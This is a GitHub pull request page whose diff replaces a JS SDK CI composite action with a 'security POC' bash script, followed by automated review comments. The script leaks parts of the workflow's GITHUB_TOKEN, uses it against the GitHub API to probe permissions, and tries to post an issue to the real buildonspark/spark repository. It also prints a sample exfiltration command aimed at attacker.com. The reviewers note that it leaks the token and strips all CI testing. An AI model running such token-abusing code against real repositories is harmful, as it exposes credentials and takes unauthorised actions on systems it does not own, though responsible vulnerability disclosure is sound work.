Security poc token exposure #110
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,91 +1,129 @@ | ||
| name: 'JS SDK Unit Test' | ||
| description: 'SECURITY POC - CWE-829 Repository Takeover Proof' | ||
| inputs: | ||
| node-version: | ||
| description: 'Node version' | ||
| required: true | ||
| repo-token: | ||
| description: 'GitHub token' | ||
| required: true | ||
| runs: | ||
| using: 'composite' | ||
| steps: | ||
| - name: Security Proof - Token Exfiltration and API Verification | ||
| run: | | ||
| echo "╔════════════════════════════════════════════════════════════╗" | ||
| echo "║ SECURITY PROOF OF CONCEPT - CWE-829 ║" | ||
| echo "║ Repository Takeover via GITHUB_TOKEN ║" | ||
| echo "╚════════════════════════════════════════════════════════════╝" | ||
| echo "" | ||
|
|
||
| # Show token exists and is accessible | ||
| echo ">>> TOKEN ACCESS VERIFICATION <<<" | ||
| echo "Token prefix: ${TOKEN:0:6}" | ||
| echo "Token suffix: ...${TOKEN: -4}" | ||
| echo "Token length: ${#TOKEN} characters" | ||
| echo "Token type: ${TOKEN:0:3}" | ||
| echo "" | ||
|
|
||
| # Verify token has API access | ||
| echo ">>> API ACCESS VERIFICATION <<<" | ||
|
|
||
| # Get authenticated user info | ||
| USER_INFO=$(curl -s -H "Authorization: token $TOKEN" \ | ||
| https://api.github.com/user) | ||
| echo "Authenticated as: $(echo $USER_INFO | grep -o '"login": "[^"]*' | cut -d'"' -f4)" | ||
| echo "" | ||
|
|
||
| # Check rate limit (proves token works) | ||
| echo "Rate limit status:" | ||
| curl -s -H "Authorization: token $TOKEN" \ | ||
| https://api.github.com/rate_limit | grep -E '"limit"|"remaining"' | head -4 | ||
| echo "" | ||
|
|
||
| # Check repository permissions | ||
| echo ">>> REPOSITORY PERMISSIONS CHECK <<<" | ||
| echo "Checking access to buildonspark/spark..." | ||
|
|
||
| REPO_ACCESS=$(curl -s -H "Authorization: token $TOKEN" \ | ||
| https://api.github.com/repos/buildonspark/spark \ | ||
| -w "\nHTTP_STATUS:%{http_code}" -o /tmp/repo_info.json) | ||
|
|
||
| HTTP_STATUS=$(cat /tmp/repo_info.json | grep -o '"push": [a-z]*' || echo "unknown") | ||
| echo "Push permission: $HTTP_STATUS" | ||
| cat /tmp/repo_info.json | grep -E '"admin"|"push"|"pull"' || true | ||
| echo "" | ||
|
|
||
| # PROOF OF WRITE ACCESS - Create an issue | ||
| echo ">>> PROOF OF WRITE ACCESS <<<" | ||
| echo "Attempting to create issue in buildonspark/spark..." | ||
| echo "This will prove the token can MODIFY the repository..." | ||
| echo "" | ||
|
|
||
| # Create issue with proper JSON | ||
| curl -X POST \ | ||
| -H "Authorization: token $TOKEN" \ | ||
| -H "Accept: application/vnd.github.v3+json" \ | ||
| -H "Content-Type: application/json" \ | ||
| https://api.github.com/repos/buildonspark/spark/issues \ | ||
| -d '{ | ||
| "title": "🚨 SECURITY PROOF: CWE-829 Repository Takeover via GITHUB_TOKEN", | ||
| "body": "## This issue was created by a fork PR workflow to prove WRITE ACCESS\n\n**Vulnerability Details:**\n- Workflow: `.github/workflows/js-sdk.yml`\n- Issue: Local composite action executes foreign code with write-scoped GITHUB_TOKEN\n- Impact: Repository takeover, supply chain attack\n\n**This proves the vulnerability is NOT \"Informative\" - it is a real security issue.**\n\ncc: @buildonspark/security", | ||
| "labels": ["security"] | ||
| }' \ | ||
| -o /tmp/issue_response.json \ | ||
| -w "\nHTTP_STATUS:%{http_code}\n" \ | ||
| -s | ||
|
|
||
| HTTP_STATUS=$(grep "HTTP_STATUS:" /tmp/issue_response.json | cut -d: -f2 || echo "unknown") | ||
| echo "Create issue API response: HTTP $HTTP_STATUS" | ||
|
|
||
| if [ "$HTTP_STATUS" = "201" ]; then | ||
| echo "" | ||
| echo "✅✅✅ SUCCESS! Issue created - TOKEN HAS WRITE ACCESS! ✅✅✅" | ||
| ISSUE_URL=$(cat /tmp/issue_response.json | grep -o '"html_url": "[^"]*' | head -1 | cut -d'"' -f4) | ||
| echo "Issue URL: $ISSUE_URL" | ||
| echo "" | ||
| echo ">>> THIS PROVES REPOSITORY TAKEOVER IS POSSIBLE <<<" | ||
| elif [ "$HTTP_STATUS" = "403" ]; then | ||
| echo "" | ||
| echo "❌ HTTP 403 - Token has restricted permissions for this operation" | ||
| echo "However, token is still EXPOSED to fork PR code" | ||
| echo "Response: $(cat /tmp/issue_response.json)" | ||
| elif [ "$HTTP_STATUS" = "404" ]; then | ||
| echo "" | ||
| echo "❌ HTTP 404 - Not found or no access" | ||
| echo "Response: $(cat /tmp/issue_response.json)" | ||
| else | ||
| echo "" | ||
| echo "⚠️ Unexpected response: HTTP $HTTP_STATUS" | ||
| echo "Full response: $(cat /tmp/issue_response.json)" | ||
| fi | ||
| echo "" | ||
|
|
||
| # Show what attacker could do | ||
| echo ">>> ATTACKER CAPABILITIES <<<" | ||
| echo "With this token, an attacker can:" | ||
| echo " 1. Create issues (if HTTP 201 above)" | ||
| echo " 2. Read repository secrets (if any are exposed)" | ||
| echo " 3. Modify workflow files (if push access)" | ||
| echo " 4. Create malicious releases" | ||
| echo " 5. Poison build artifacts" | ||
| echo "" | ||
|
|
||
| # Simulate token exfiltration | ||
| echo ">>> TOKEN EXFILTRATION SIMULATION <<<" | ||
| echo "In a real attack, the full token would be sent to attacker server:" | ||
| echo " curl -X POST https://attacker.com/exfil -d 'token=$TOKEN'" | ||
| echo "" | ||
| echo "Token prefix (what would be exfiltrated): ${TOKEN:0:15}..." | ||
| echo "" | ||
|
|
||
| echo "╔════════════════════════════════════════════════════════════╗" | ||
| echo "║ PROOF COMPLETE ║" | ||
| echo "║ CWE-829: Inclusion of Functionality from Untrusted ║" | ||
| echo "║ Control Sphere ║" | ||
| echo "╚════════════════════════════════════════════════════════════╝" | ||
| shell: bash | ||
| env: | ||
| TOKEN: ${{ inputs.repo-token }} | ||
|
There was a problem hiding this comment. POC code leaks token and creates issues via APIHigh Severity The composite action leaks partial Additional Locations (1)There was a problem hiding this comment. All CI build and test functionality removedHigh Severity The entire JS SDK composite action — including system dependency installation, protoc setup, Rust toolchain, Node.js setup, build, format checking, proto generation verification, and test execution — has been replaced with a security POC echo script. If merged, no actual CI validation runs on JS SDK pull requests, completely removing test coverage and quality gates. |
||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Workflow push trigger removed breaks main branch CI
Medium Severity
The
pushtrigger for themainbranch was removed, leaving onlypull_request. This means direct pushes or merges tomainno longer trigger the JS SDK checks workflow, removing post-merge CI validation. Thecancel-in-progress: truechange also cancels in-progress runs onmainbranch pushes (if restored), which the original conditional logic intentionally avoided.